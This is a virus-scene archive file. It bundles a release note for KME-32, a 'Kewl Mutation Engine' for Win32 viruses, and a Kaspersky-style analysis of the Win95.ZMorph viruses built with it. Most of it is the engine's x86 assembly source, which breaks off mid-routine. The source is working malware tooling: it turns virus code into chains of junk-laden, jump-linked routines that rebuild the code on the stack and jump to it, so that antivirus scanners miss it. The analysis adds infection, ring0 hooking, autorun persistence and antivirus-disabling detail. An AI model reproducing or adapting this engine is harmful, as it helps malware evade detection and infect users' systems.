ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ KME-32 v3.00 - Kewl Mutation Engine ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - easy to use - compatible with any 32-bit platform (Win9X/WinNT, ring0/ring3) - stack algorithm, allowing data compression - highly configurable - commented sources included - full russian/english documentation - examples ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[FILE_ID.DIZ]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ Win95.ZMorph ------------------------------------------------------------------------ These are Win9x viruses infecting PE EXE files (Windows executable files). The viruses have a significant feature - a polymorphic engine that is used by viruses to hide their code in infected files. This polymorphic engine modifies the virus code so that there is not a single piece of virus code continuously stored in an infected file, in any encrypted and "clear" form. Instead of the "standard" method of appending the virus code to the file as a continuous sequence of [encrypted] code instructions, data areas, e.t.c., the virus addition to infected files looks like a chain of routines of random size, randomly stored at the end of the file; each routine passes control to the next one, and all these routines are polymorphic: +-------------+ |Infected file| |code and data| +-------------+ <--------+ |+-----+ | Routine3 ---------|--+ |+-----+ | | | | | | | | | | | | +-------+ | | | | +-------+ | Routine1 -----+ | | . . . | | | . . . | | | +----+ | | | | +----+ | <----+ | | |+---+ | Routine2 --------+ | |+---+ | | | +----+| | | +----+| e.t.c <----------+ +-------------+ By using arithmetic instructions of different types (which are totally polymorphic) these routines construct "clean" virus code double-word by double-word, and store them on the stack. At the end of this process the "clean" and complete virus code is stored in the stack, and the last routine jumps to there to the "real virus" code. Because of such a method to store the virus code while infecting, the files length grows by large values - up to 30Kb. The size of the virus addition to the file may be approximated as "real virus" size multiplied by six (in case of 5200 bytes virus the victim files size grows by about 32K). ZMorph.2784 This is a memory resident Win9x virus. It switches its code to system driver mode (Ring0), allocates a block of driver's memory, copies itself to there and hooks two events: port 8888h reading (is used for "Are-you-here" call to detect already installed TSR virus copy), and IFS API (files access functions). The virus then returns control to the host file. The virus TSR copy is then active as VxD system driver, intercepts file access functions and infects PE EXE files that are accessed. The virus does not manifest itself in any way. It contains the text: KME.Z0MBiE-4.b ZMorph.5200 This version of the virus can be found in two variants: as infected PE EXE file, and as a virus "installer" - RUNDLL16.EXE file in the Windows system directory. The virus does not perform any harm action except scanning Windows memory for AVP Monitor and some other Windows resident anti-virus protection, and disabling it by patching Monitor's code. The virus contains an encrypted text in Russian, and virus author's "signature": z0mbie.cjb.net When an infected file is executed, the virus' polymorphic code gets control, restores the original virus code to the stack and jumps to there - to the virus installation routine. The virus installation gets the needed Windows functions addresses by scanning the KERNEL32.DLL image in Windows memory (this is usual for most of Win32 viruses) and performs two actions: installs virus code into the Windows system directory, and leaves virus resident copy in Windows memory. Ring0 component To install itself memory resident the virus switches its code to system driver mode (Ring0), allocates a block of driver's memory, copies itself to there and hooks two events: port 8889h reading (is used for "Are-you-here" calls to detect already installed TSR virus copy), and IFS API (files access functions). The virus then returns control to the host file, and virus TSR copy is then active as VxD system driver, intercepts file access functions and infects PE EXE files that are accessed. RUNDLL16 component While installing its copy in Windows system directory the virus creates the RUNDLL16.EXE file in there, writes to this file its image in PE EXE file form, and spawns it. The RUNDLL16.EXE registers itself in the system as Service Process (invisible task), and registers its file (RUNDLL16.EXE) as auto-run file. To do that the virus creates the registry key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run rundll16 = rundll16.exe The virus process then sleeps for several minutes, then scans subdirectory trees on all fixed drives from C: till Z:, "touches" EXE files there, and as a result forces Ring0 component to infect them. Infection As a result of installation the virus code is present in Windows memory in two copies: the first one is a system process that scans all drives and infects files on them; the second copy is active as system VxD driver that intercepts file access functions, and infects PE EXE files that are accessed. While infecting a file the virus parses its internal PE format, increases size of the last section, runs its polymorphic engine and writes the result of it to the end of the file. The virus then modifies the necessary PE header fields, including program startup address. Virus analysis texts - Copyright 1996-2000 Eugene Kaspersky. Web-version - Copyright Metropolitan Network BBS Inc. 1996-2000. All Rights reserved. Send your questions and suggestions to webmaster ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ZMORPH.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[KME32.INC]ÄÄÄ ; ; KME32 source ; ~~~~~~~~~~~~ ; release 1.00 -- November'1999 ; + permutable code (no data at all & etc) ; release 2.00 -- August'00 by Vecna ; + movsx/zx ; + cmp r, r/c ; poly_cmd() ; jz/nz follow/nofollow ; + push r/c ; poly_cmd() ; pop r ; + subroutine ; + call subroutine ; release 3.00 -- November'00 -- repaired back ;-) ; + BSR/BSF, MUL/IMUL/DIV/IDIV ; + AND/OR in genvalue ; + short-consts (such as 'sub reg, nn'), see FLAG_NOSHORT_C ; + other-opcodes ('cmd reg,reg' with inverted S-bit), see FLAG_NOSWAP ; + jz/nz --> jxx/nxx ; + subroutines/calls fixed, epilog-code fixed, ; + cycles ; + randomer fixed ; + now you can specify register values passed from engine ; into virus. 'exitregptr' parameter points to 8 dwords, ; eax/ecx/edx/ebx/esp/ebp/esi/edi. ; values, equal to -1, are unused. ; Also, only these registers are processed, ; which are specified in regavail bitset. ; + also, you can specify engine's initial register values. ; 'initregptr' parameter points to 8 dwords, ; same as with exitregptr parameter. ; + FPU (sin,cos) ; p586 ;LITE equ ? ; LITE: disable cmdavails & flags C_EIP_MAX_ITER equ 10000 ; these parameters used to C_EIP_TOP equ 32 ; find new JMP location C_EIP_BOTTOM equ 32 C_EIP_PREV equ 10 C_EIP_NEXT equ 20 C_MAX_SUB equ 32 ; max # of subroutines testcmd macro fl, lbl IFNDEF LITE test cmdavail, fl jz lbl ENDIF endm testcmd2 macro fl, lbl IFNDEF LITE test cmdavail2, fl jz lbl ENDIF endm flagsz macro fl, lbl IFNDEF LITE test flags, fl jz lbl ELSE jmp lbl ENDIF endm flagsnz macro fl, lbl IFNDEF LITE test flags, fl jnz lbl ENDIF endm kme_start: kme_main proc pascal ; parameters -- pushed in reversed order arg exitregptr:DWORD ; 0 or pointer to 8 dwords arg initregptr:DWORD ; 0 or pointer to 8 dwords arg i_offs:DWORD ; virus offset arg i_size:DWORD ; virus size arg i_entry:DWORD ; virus entry (relative) arg o_offs:DWORD ; output offset arg o_max:DWORD ; output max buf size arg o_fillchar:DWORD; character to fill out buf arg po_size:DWORD ; 0 or pointer to out buf size arg po_entry:DWORD ; 0 or pointer to out entry (rel.) arg jmp_prob:DWORD ; JMPs if rnd(jmp_prob)==0 arg randseed:DWORD ; randomer initializer arg regavail:DWORD ; register set (REG_XXX) arg cmdavail2:DWORD ; adv. command set (CMD2_XXX) arg cmdavail:DWORD ; command set (CMD_XXX) arg flags:DWORD ; flags (FLAG_XXX) ; local variables local save_esp:DWORD ;; "state" (size is DWORD-aligned) ;; state should be preserved when genereating subs local state_end:DWORD local regused:DWORD ; set of used registers local reginit:DWORD ; set of initialized registers local em_reg:DWORD:8 ; register values (emulation) local regbuf:BYTE:8 ; indexes of regs to be pushed local state_begin:DWORD ;; local in_subroutine:BYTE ; inside-of-subroutine local tempo:DWORD ; use in ifollow/rfollow only local p_count:DWORD ; # of generated subs local p_addr:DWORD:C_MAX_SUB local p_stack:BYTE:C_MAX_SUB local p_conv:BYTE:C_MAX_SUB local jxxcond:BYTE:16 ; flags, in perverted form local fpuinit:BYTE local fpustack:BYTE pusha mov save_esp, esp ; to jmp to @@error from subs ; fix regavail -- check if no registers given and regavail, REG_ALL ; clear ESP if set jnz @@regok or regavail, REG_DEFAULT @@regok: mov edi, o_offs ; fill output buffer mov ecx, o_max mov eax, o_fillchar cld rep stosb mov in_subroutine, cl mov p_count, ecx mov fpuinit, cl mov fpustack, cl ; while generation, EDI contains current outpointer mov edi, o_offs ; if need jmps & (not FLAG_EIP0) select random EDI flagsnz FLAG_EIP0+FLAG_NOJMPS, @@skipnew cmp po_entry, 0 je @@skipnew call @@find_new_eip @@skipnew: ; calculate decryptor entry point mov ecx, po_entry jecxz @@skip_retentry mov eax, edi sub eax, o_offs mov [ecx], eax @@skip_retentry: ; initialize bitsets: no registers initialized/used xor eax, eax mov reginit, eax mov regused, eax add i_size, 3 ; i_size: align 4 and i_size, not 3 call @@int3 ; add INT3 if FLAG_DEBUG ; set initial register values cmp initregptr, 0 je @@ir_done xor ebx, ebx @@ir_cycle: bt regavail, ebx jnc @@ir_cont mov edx, initregptr mov edx, [edx+ebx*4] cmp edx, -1 je @@ir_cont mov em_reg[ebx*4], edx bts reginit, ebx @@ir_cont: inc ebx cmp bl, 8 jb @@ir_cycle @@ir_done: ; ECX contains number of elements in regbuf xor ecx, ecx call @@poly_cmd ; add "logic" command @@main_cycle: ; main encryption cycle call @@get_init_reg ; select/initialize rnd reg xchg ebx, eax call @@poly_cmd ; add "logic" command ; push registers until register in EBX become free call @@push_uptoebx ; get next dword (backward) sub i_size, 4 mov edx, i_size add edx, i_offs ; get dword into EDX mov edx, [edx] call @@gen_value ; make em_reg[EBX] equal to EDX bts regused, ebx ; mark reg in EBX as used mov regbuf[ecx], bl ; store EBX as ready to push inc ecx cmp i_size, 0 ; until we still have dwords jg @@main_cycle ; in inputstream call @@push_all ; push all unpushed registers call @@int3 ; add INT3 if FLAG_DEBUG call @@epilog ; "epilog" code -- JMP ESP ; calculate size of generated decryptor sub edi, o_offs flagsnz FLAG_NOJMPS, @@nj mov edi, o_max @@nj: mov ecx, po_size jecxz @@skip_osize mov [ecx], edi @@skip_osize: clc ; CF=0 - all ok @@error_exit: popa ; retore regs & exit ret ; error handler @@error3: ; int 3 @@error2: ; int 3 @@error1: ; int 3 @@error: mov esp, save_esp ; rest. ESP (if call from sub) stc ; CF=1 - an error occured jmp @@error_exit ; ===================== subroutines ========================================= ; add INT3 command (if FLAG_DEBUG) @@int3: flagsz FLAG_DEBUG, @@skip_debug @@int3_do: IFNDEF LITE push eax mov al, 0CCh stosb pop eax ENDIF @@skip_debug: retn ; --------------------------------------------------------------------------- ; push 1 register ; (indexes stored in regbuf, count in ECX) @@push_1: dec ecx ; decr. num of regs in regbuf movzx eax, regbuf ; read 1 byte pusha ; delete 1st entry in regbuf lea esi, regbuf+1 lea edi, regbuf movsd ; just 8 bytes movsd popa btr regused, eax ; mark register as free call @@eip ; add JMP add al, 50h ; PUSH reg stosb call @@poly_cmd ; "logic" command retn ; push all registers ; (indexes stored in regbuf, count in ECX) @@push_all: jecxz @@push_all_done call @@push_1 jmp @@push_all @@push_all_done: retn ; push registers up to pointed by EBX ; (indexes stored in regbuf, count in ECX) @@push_uptoebx: bt regused, ebx jnc @@ebx_free call @@push_1 jmp @@push_uptoebx @@ebx_free: retn ; =========================================================================== ; "epilog" code -- ; -- load regs and JMP ESP in perverted form @@epilog: call @@poly_cmd ; "logic" cmp regused, 0 jne @@error1 call @@get_free_reg ; get free rnd reg xchg ecx, eax btr regavail, ecx ; to avoid usage in logic; btr reginit, ecx ; value unknown (ESP) call @@eip ; JMP mov ax, 0E089h ; mov reg1, esp add ah, cl stosw mov eax, 20 call @@multi_garbage call @@get_free_reg ; get free rnd jnc @@morethan1reg ; if we have only 1 register @@1reg: call @@eip ; JMP mov ax, 0C081h ; add reg1, i_entry add ah, cl stosw mov eax, i_entry stosd ; cant emul - ESP unknown jmp @@1ornot ; if we have more than 1 register @@morethan1reg: xchg ebx, eax bts regused, ebx ; mark as used mov edx, i_entry ; reg2 <-- i_entry call @@gen_value mov eax, 20 call @@multi_garbage call @@rnd_zf jz @@skip_xchg bts regavail, ecx ; free reg1 btr regavail, ebx btr reginit, ebx xchg ecx, ebx ; invert register usage @@skip_xchg: btr regused, ebx call @@eip ; JMP mov ax, 0C001h ; add reg1, reg2 or ah, cl shl bl, 3 or ah, bl stosw ; cant emul - ESP unknown @@1ornot: mov eax, 20 call @@multi_garbage call @@eip ; JMP ;; does reg1 value should be passed into virus? mov eax, exitregptr or eax, eax jz @@skipchk cmp dword ptr [eax+ecx*4], -1 jne @@push_ret @@skipchk: ;; call @@rnd_zf jz @@jmp @@push_ret: lea eax, [ecx+50h] ;push stosb bts regavail, ecx ; free reg1 btr regused, ecx mov eax, 20 call @@multi_garbage call @@epilog_regs call @@eip mov al, 0c3h ;ret stosb jmp @@lwo @@jmp: call @@epilog_regs mov ax, 0E0FFh ; JMP add ah, cl stosw bts regavail, ecx ; free reg1 btr regused, ecx @@lwo: mov eax, 20 call @@multi_garbage retn ; @@epilog @@epilog_regs: cmp exitregptr, 0 je @@er_ret xor ebx, ebx @@er_cycle: bt regavail, ebx jnc @@er_cont mov edx, exitregptr mov edx, [edx+ebx*4] cmp edx, -1 je @@er_cont call @@gen_value ; em_reg[ebx*4] <-- edx bts regused, ebx call @@poly_cmd call @@poly_cmd @@er_cont: inc ebx cmp bl, 8 jb @@er_cycle @@er_ret: retn @@multi_garbage: call @@rnd_eax jz @@mg_ret @@gen_garbage: call @@poly_cmd dec eax jnz @@gen_garbage @@mg_ret: retn ; =========================================================================== ; this subroutine makes em_reg[EBX] equal to EDX @@gen_value: ; use XOR if noone specified testcmd CMD_XOR+CMD_ADD+CMD_SUB+CMD_AND+CMD_OR, @@rdef @@gen_value_restart: mov eax, 5 ; EAX=# call @@rnd_eax jz @@r0 ; dispatch dec eax jz @@r1 dec eax ; and jz @@r3 dec eax ; or jz @@r4 @@r2: testcmd CMD_XOR, @@gen_value_restart @@rdef: xor edx, em_reg[ebx*4] ; emul -- xor reg, c xor em_reg[ebx*4], edx mov eax, 35F081h ; opcodes jmp @@store_cmd @@r1: testcmd CMD_ADD, @@gen_value_restart sub edx, em_reg[ebx*4] ; emul -- add reg, c add em_reg[ebx*4], edx mov eax, 05C081h ; opcodes jmp @@store_cmd @@r0: testcmd CMD_SUB, @@gen_value_restart sub edx, em_reg[ebx*4] ; emul -- sub reg, c neg edx sub em_reg[ebx*4], edx mov eax, 2dE881h ; opcodes @@store_cmd: or edx, edx ; skip zero-argument jz @@rt @@store_cmd_even0: call @@eip ; JMP flagsnz FLAG_NOSHORT, @@long ; if skip short opcs or ebx, ebx ; use short form for EAX jnz @@long shr eax, 16 @@short: stosb ; store 1-byte opcode jmp @@shortorlong @@long: add ah, bl ; store 2-byte opcode stosw @@shortorlong: xchg edx, eax ; store argument (EDX) stosd @@rt: retn @@r3: testcmd CMD_AND, @@gen_value_restart ; em_reg and ? = edx ; 0 * 0 ; 0 - 1 ; 1 0 0 ; 1 1 1 mov eax, em_reg[ebx*4] ; em_reg and ? = edx and eax, edx ; 0 none 1 cmp eax, edx jne @@gen_value_restart call @@random_dword ; em_reg and ? = edx not em_reg[ebx*4] ; 0 any 0 and eax, em_reg[ebx*4] not em_reg[ebx*4] ; em_reg and ? = edx xor edx, eax ; 1 copy 0/1 and em_reg[ebx*4], edx mov eax, 25E081h jmp @@store_cmd_even0 @@r4: testcmd CMD_OR, @@gen_value_restart ; em_reg or ? = edx ; 0 0 0 ; 0 1 1 ; 1 - 0 ; 1 * 1 mov eax, edx ; em_reg or ? = edx and eax, em_reg[ebx*4] ; 1 none 0 cmp eax, em_reg[ebx*4] jne @@gen_value_restart call @@random_dword ; em_reg or ? = edx and eax, em_reg[ebx*4] ; 1 * 1 xor edx, eax or em_reg[ebx*4], edx mov eax, 0DC881h jmp @@store_cmd ; ===================== random number generator ============================= @@random: mov eax, randseed ; standard PASCAL's algorithm imul eax, 214013 add eax, 2531011 mov randseed, eax retn @@random_dword: call @@rtmp @@rtmp: shl eax, 8 call @@random_byte shl eax, 8 @@random_byte: push eax call @@random shr eax, 24 mov [esp], al pop eax retn ; --------------------------------------------------------------------------- @@rnd_zf: push eax push 2 pop eax call @@rnd_eax dec eax pop eax retn @@rnd_eax: push ebx push edx mov ebx, eax call @@random xor edx, edx mul ebx ; MUL is really kewl mov eax, edx pop edx pop ebx test eax, eax retn ; ===================== register selection management ======================= ; get random register @@get_rnd_reg: mov eax, 8 call @@rnd_eax bt regavail, eax ; "regavail" set only jnc @@get_rnd_reg retn ; --------------------------------------------------------------------------- ; get random initialized register @@get_init_reg: call @@get_rnd_reg ; get random reg call @@reg_init_eax ; initialize it (if not yet) retn ; --------------------------------------------------------------------------- ; check register & initialize it if unitinitalized ; used 'coz initially em_reg[0..7] is unknown @@reg_init_eax: bts reginit, eax ; initialized? jc @@reg_init_retn push ebx mov ebx, eax call @@eip ; JMP testcmd CMD_PUSHPOP, @@init_mov call @@rnd_zf jz @@init_pushpop @@init_mov: add al, 0B8h ; MOV r, c stosb call @@random_dword mov em_reg[ebx*4], eax ; store initial em_reg[] stosd @@init_done: xchg ebx, eax pop ebx @@reg_init_retn: retn @@init_pushpop: mov al, 68h stosb call @@random_dword mov em_reg[ebx*4], eax ; store initial em_reg[] stosd call @@eip lea eax, [ebx+58h] stosb jmp @@init_done ; --------------------------------------------------------------------------- ; get random initialized register marked as "free" @@get_free_reg: mov eax, regused cmp eax, regavail je @@bad call @@get_init_reg bt regused, eax jc @@get_free_reg retn @@bad: mov eax, -1 stc retn ; =========================================================================== ; this subroutine finds new output pointer (in EDI) @@find_new_eip: mov edx, C_EIP_MAX_ITER ; max number of restarts @@eip_find: dec edx ; error if no free space jz @@error2 ; find random location within outbuf mov eax, o_max sub eax, C_EIP_TOP+C_EIP_BOTTOM call @@rnd_eax add eax, C_EIP_TOP add eax, o_offs xchg edi, eax ; scan it -- should be unused mov ecx, C_EIP_NEXT+C_EIP_PREV mov eax, o_fillchar repz scasb jnz @@eip_find sub edi, C_EIP_NEXT retn ; --------------------------------------------------------------------------- ; this subroutine called before each command is ; stored to output stream ; it probably adds JMP to new random location @@eip_do1: pushad jmp @@eip_do @@eip: pusha mov eax, o_offs ; check if end of outbuf is add eax, o_max ; reached. MUST add jmp then. sub eax, edi cmp eax, C_EIP_BOTTOM jb @@eip_do mov eax, o_fillchar ; scan following code -- mov ecx, C_EIP_NEXT ; -- it should be unused, push edi ; MUST add jmp otherwise repz scasb pop edi jnz @@eip_do ; here we may skip jmp flagsnz FLAG_NOJMPS, @@eip_done ; JMPs disabled? -exit mov eax, jmp_prob ; add JMP if rnd(jmp_prob)==0 call @@rnd_eax jnz @@eip_done @@eip_do: ; well, here we MUST select new location, or die flagsnz FLAG_NOJMPS, @@error3 ; no JMPs? - error! mov al, 0E9h ; add JMP stosb stosd ; space for argument mov ebx, edi ; save old position call @@find_new_eip ; try to find new location mov eax, edi ; link sub eax, ebx mov [ebx-4], eax @@eip_done: mov [esp+0*4], edi ; pushad_edi popa retn ; ===================== "logic" management ================================== ; this subroutine adds "logic" instruction into ; output stream. @@poly_cmd: pusha flagsnz FLAG_NOLOGIC, @@poly_cmd_exit ; logic disabled? --exit IFNDEF LITE mov eax, cmdavail ; no avail cmds? or eax, cmdavail2 jz @@poly_cmd_exit ; --exit ENDIF mov eax, regused ; all avail regs used? cmp eax, regavail je @@poly_cmd_exit ; --exit call @@eip ; add JMP if needed @@poly_cmd_restart: REG1 equ ebx REG2 equ edx REG1_8 equ bl REG2_8 equ dl XXX equ ecx ; fixed XXX_8 equ cl ; fixed ; reg1: destination, read-write call @@get_free_reg ; get free reg xchg REG1, eax jc @@poly_cmd_exit ; reg2: source, read-only. to write into, do check call @@get_init_reg ; get init reg xchg REG2, eax call @@random_dword ; get random argument xchg XXX, eax mov eax, 55 call @@rnd_eax ; select random command index ; dispatch or eax, eax jz @@x_not dec eax jz @@x_neg dec eax jz @@x_inc dec eax jz @@x_dec dec eax jz @@x_inc dec eax jz @@x_dec dec eax jz @@x_shl dec eax jz @@x_shr dec eax jz @@x_rol dec eax jz @@x_ror dec eax jz @@x_sar dec eax jz @@x_mov_c dec eax jz @@x_add_c dec eax jz @@x_sub_c dec eax jz @@x_mov_c dec eax jz @@x_add_c dec eax jz @@x_sub_c dec eax jz @@x_xor_c dec eax jz @@x_and_c dec eax jz @@x_or_c dec eax jz @@x_rol_c dec eax jz @@x_ror_c dec eax ; r1, r1 jz @@x_add dec eax ; jz @@x_sub dec eax ; jz @@x_xor dec eax ; r1, r2 jz @@x_imul_ex dec eax ; r1, r2, c jz @@x_imul_ex_c dec eax ; r1, c jz @@x_btc_c dec eax ; jz @@x_btr_c dec eax ; jz @@x_bts_c dec eax ; r1 jz @@x_bswap dec eax ; movzx/movsx jz @@movsxzx dec eax ; push reg/pop jz @@pushrp dec eax ; push imm/pop jz @@puship dec eax jz @@x_mul dec eax jz @@x_imul dec eax jz @@x_div dec eax jz @@x_idiv dec eax jz @@x_fpu ; new commands that dont need 2 dif. regs dec eax jz @@cmp_i_follow dec eax jz @@cmp_i_nofollow dec eax jz @@callsub dec eax jz @@subroutine dec eax jz @@x_bsr dec eax jz @@x_bsf ; add other commands if only different regs selected cmp REG1, REG2 ; r1 == r2 ? je @@poly_cmd_restart dec eax jz @@x_xchg dec eax jz @@x_mov dec eax jz @@x_and dec eax jz @@x_or dec eax ; r1, r2, c jz @@x_shld dec eax ; r1, r2, c jz @@x_shrd dec eax ; r1, r2 jz @@x_xadd dec eax jz @@cmp_r_nofollow dec eax jz @@cmp_r_follow dec eax jz @@x_cycle int 3 ; shouldn't be executed. fix # of items @@poly_cmd_exit: ; exit mov [esp+0*4], edi ; pushad_edi popa retn ; --------------------- cycle ----------------------------------------------- @@x_cycle: testcmd2 CMD2_CYCLE, @@poly_cmd_restart push edi ; start-cycle: eip call @@eip call @@rnd_zf jz @@gen_sub @@gen_add: mov ax, 0c081h ; add reg, param or ah, REG1_8 stosw mov eax, XXX stosd jmp @@gen_done @@gen_sub: mov ax, 0e881h ; sub reg, param or ah, REG1_8 stosw mov eax, XXX stosd neg XXX ; 4emul: add->sub @@gen_done: mov eax, 666 ; its enough call @@rnd_eax inc eax ; # of cycle iterations @@em_add: add em_reg[REG1*4], XXX ; calc resulting value dec eax jnz @@em_add call @@eip mov ax, 0F881h ; cmp r,result or ah, REG1_8 stosw mov eax, em_reg[REG1*4] stosd cmp eax, eax call @@eip mov ax, 850Fh ; jne stosw stosd pop eax ; start-cycle: eip sub eax, edi mov [edi-4], eax jmp @@poly_cmd_exit ; --------------------- call subroutine ------------------------------------- @@callsub: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart cmp p_count, 0 ; no subs were generated yet? je @@poly_cmd_exit ; ! cmp in_subroutine, 0 ; do not make recurse calls jne @@poly_cmd_exit ; ! ; select random sub; get addr & stack size mov eax, p_count call @@rnd_eax xchg esi, eax mov ebx, p_addr[esi*4] movzx ecx, p_stack[esi] ; push params jecxz @@skip_push_rnd @@push_rnd: call @@eip mov eax, 8 call @@rnd_eax add al, 50h stosb loop @@push_rnd @@skip_push_rnd: ; generate call call @@eip mov al, 0E8h stosb stosd sub ebx, edi mov [edi-4], ebx movzx ecx, p_conv[esi] jecxz @@skip_fixstk ; 0=pascal movzx ecx, p_stack[esi] jecxz @@skip_fixstk mov ax, 0C483h ; add esp, nn stosw lea eax, [ecx*4] stosb call @@rnd_zf jz @@skip_fixstk mov byte ptr [edi-2], 0ECh ; add-->sub neg byte ptr [edi-1] ; -nn @@skip_fixstk: jmp @@poly_cmd_exit ; --------------------- generate subroutine --------------------------------- @@subroutine: testcmd2 CMD2_SUBROUTINE, @@poly_cmd_restart cmp p_count, C_MAX_SUB ; fixed # of subroutines jae @@poly_cmd_exit ; ! inc in_subroutine ; we're inside of subroutine(s) ; now, push all the state related to output code flow generation flagsnz FLAG_NOJMPS, @@s_no_jmps ; cant be called? ; if jmps allowed, gen sub somewhere there push edi ; current EIP call @@eip_do1 ; change EIP (requres FLAG_NOJMPS=0) jmp @@s_done @@s_no_jmps: mov al, 0E9h ; NOJMPS? bypass subroutine stosb stosd push edi ; current EIP @@s_done: call @@state_push xor ecx, ecx ; ECX<--number of paramz call @@rnd_zf ; have any params? jnz @@set0 mov eax, 4 ; 1..4 call @@rnd_eax lea ecx, [eax+1] @@set0: ; save addr(EDI) & params(CL) mov eax, p_count inc p_count mov p_addr[eax*4], edi mov p_stack[eax], cl ; calling convention: cdecl=1, pascal=0 call @@rnd_zf sete dl mov p_conv[eax], dl dec dl ; cdecl=0, pascal=-1 and cl, dl ; if (cdecl) pop_params=0 shl ecx, 2 push ecx ; params size, in BYTEs ; reinitialize the state ; reduce set of registers available @@rnd_again: mov eax, 256 call @@rnd_eax and eax, regavail jz @@rnd_again mov regavail, eax mov reginit, 0 ; all register values unknow mov regused, 0 ; ('coz multiple calls) ; prolog mov ebx, regavail @@push_loop: call @@eip bsf eax, ebx ; smart idea jz @@push_done btr ebx, eax add al, 50h stosb jmp @@push_loop @@push_done: ; body mov eax, 50 call @@multi_garbage call @@eip ; epilog mov ebx, regavail ; pop mask @@pop_loop: call @@eip bsr eax, ebx jz @@pop_done btr ebx, eax add al, 58h ;POP regs 1 at once stosb jmp @@pop_loop @@pop_done: ; retn call @@eip mov al, 0C3h stosb pop ecx ; param frame size jecxz @@simpleret dec byte ptr [edi-1] ; C3->C2 mov eax, ecx ; RET ? clean paramz stosw @@simpleret: call @@state_pop ; restore all the state flagsnz FLAG_NOJMPS, @@e_no_jmps pop edi ; 5 bytes (unrealized JMP) at EDI jmp @@e_done @@e_no_jmps: pop ecx mov eax, edi sub eax, ecx mov [ecx-4], eax @@e_done: dec in_subroutine jmp @@poly_cmd_exit ; --------------------- misc ------------------------------------------------ @@state_push: pop esi push regavail lea eax, state_begin lea ecx, state_end @@push_cycle: push dword ptr [eax] add eax, 4 cmp eax, ecx jne @@push_cycle jmp esi @@state_pop: pop esi lea eax, state_begin lea ecx, state_end @@pop_cycle: sub ecx, 4 pop dword ptr [ecx] cmp ecx, eax jne @@pop_cycle pop regavail jmp esi ; --------------------- movsxzx --------------------------------------------- @@movsxzx: testcmd CMD_MOVSXZX, @@poly_cmd_restart cmp REG2, 4 jae @@poly_cmd_exit mov ecx, em_reg[REG2*4] call @@rnd_zf jz @@use_xl mov cl, ch ;use high 8 bits (AH,BH,...) or REG2_8, 4 @@use_xl: call @@rnd_zf jz @@movsx @@movzx: mov ax, 0B60Fh ;movzx movzx ecx, cl jmp @@stos_sxzx @@movsx: mov ax, 0BE0Fh ;movsx movsx ecx, cl @@stos_sxzx: mov em_reg[REG1*4], ecx stosw xchg REG1, REG2 call @@modrm jmp @@poly_cmd_exit ; --------------------- push reg ; poly_cmd() ; pop_reg---------------------- @@pushrp: testcmd2 CMD2_PUSHPOPR, @@poly_cmd_restart mov ecx, em_reg[REG2*4] lea eax, [REG2+50h] stosb ; push reg jmp @@pop @@puship: testcmd2 CMD2_PUSHPOPC, @@poly_cmd_restart call @@rnd_zf jz @@imm_d @@imm_b: mov ah, cl movsx ecx, ah mov al, 6Ah ; push byte stosw jmp @@pop @@imm_d: mov al, 68h stosb ; push dword mov eax, ecx stosd @@pop: call @@poly_cmd mov em_reg[REG1*4], ecx call @@eip lea eax, [REG1+58h] stosb ;pop reg jmp @@poly_cmd_exit ; --------------------- cmp r, r/c ; jxx ------------------------------------ @@cmp_i_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit testcmd2 CMD2_IFOLLOW, @@poly_cmd_exit mov tempo, -1 jmp @@cmp_i @@cmp_i_nofollow: testcmd2 CMD2_INOFOLLOW, @@poly_cmd_exit mov tempo, 0 @@cmp_i: test REG1, REG1 jnz @@longcmp flagsnz FLAG_NOSHORT, @@longcmp ; if skip short opcs mov al, 3Dh ; short form for eax stosb jmp @@cmpeaxboth @@longcmp: mov ax, 0F881h ; CMP or ah, REG1_8 stosw @@cmpeaxboth: call @@rnd_zf mov eax, em_reg[REG1*4] ;Z jz @@useit mov eax, XXX ; ecx flagsnz FLAG_NOSHORT_C, @@useit call @@rnd_zf jnz @@useit dec edi ; cmp byte ptr [edi], 3Dh ; EAX ? je @@longcmp ; inc edi ; mov byte ptr [edi-2], 83h ; 81->83, short form movsx eax, al ; to pass EAX to @@outcond stosb jmp @@outcond @@useit: stosd jmp @@outcond @@cmp_r_follow: flagsnz FLAG_NOJMPS, @@poly_cmd_exit testcmd2 CMD2_RFOLLOW, @@poly_cmd_exit mov tempo, -1 jmp @@cmp_r @@cmp_r_nofollow: testcmd2 CMD2_RNOFOLLOW, @@poly_cmd_exit mov tempo, 0 @@cmp_r: push REG1 REG2 ; 'coz of @@swap mov al, 39h ; cmp r,r call @@swap stosb call @@modrm pop REG2 REG1 mov eax, em_reg[REG2*4] @@outcond: call @@eip cmp em_reg[REG1*4], eax seto jxxcond[0] setb jxxcond[2] sete jxxcond[4] setbe jxxcond[6] sets jxxcond[8] setp jxxcond[10] setl jxxcond[12] setle jxxcond[14] mov eax, 8 call @@rnd_eax shl eax, 1 xor al, jxxcond[eax] xor al, 70h mov ecx, tempo jecxz @@dont_follow xor al, 0F1h ; invert condition + short2near mov ah, 0Fh ; xchg al, ah mov ebx, edi inc edi ; +1 call @@eip_do1 mov word ptr [ebx], ax ;convert to jcc jmp @@poly_cmd_exit @@dont_follow: call 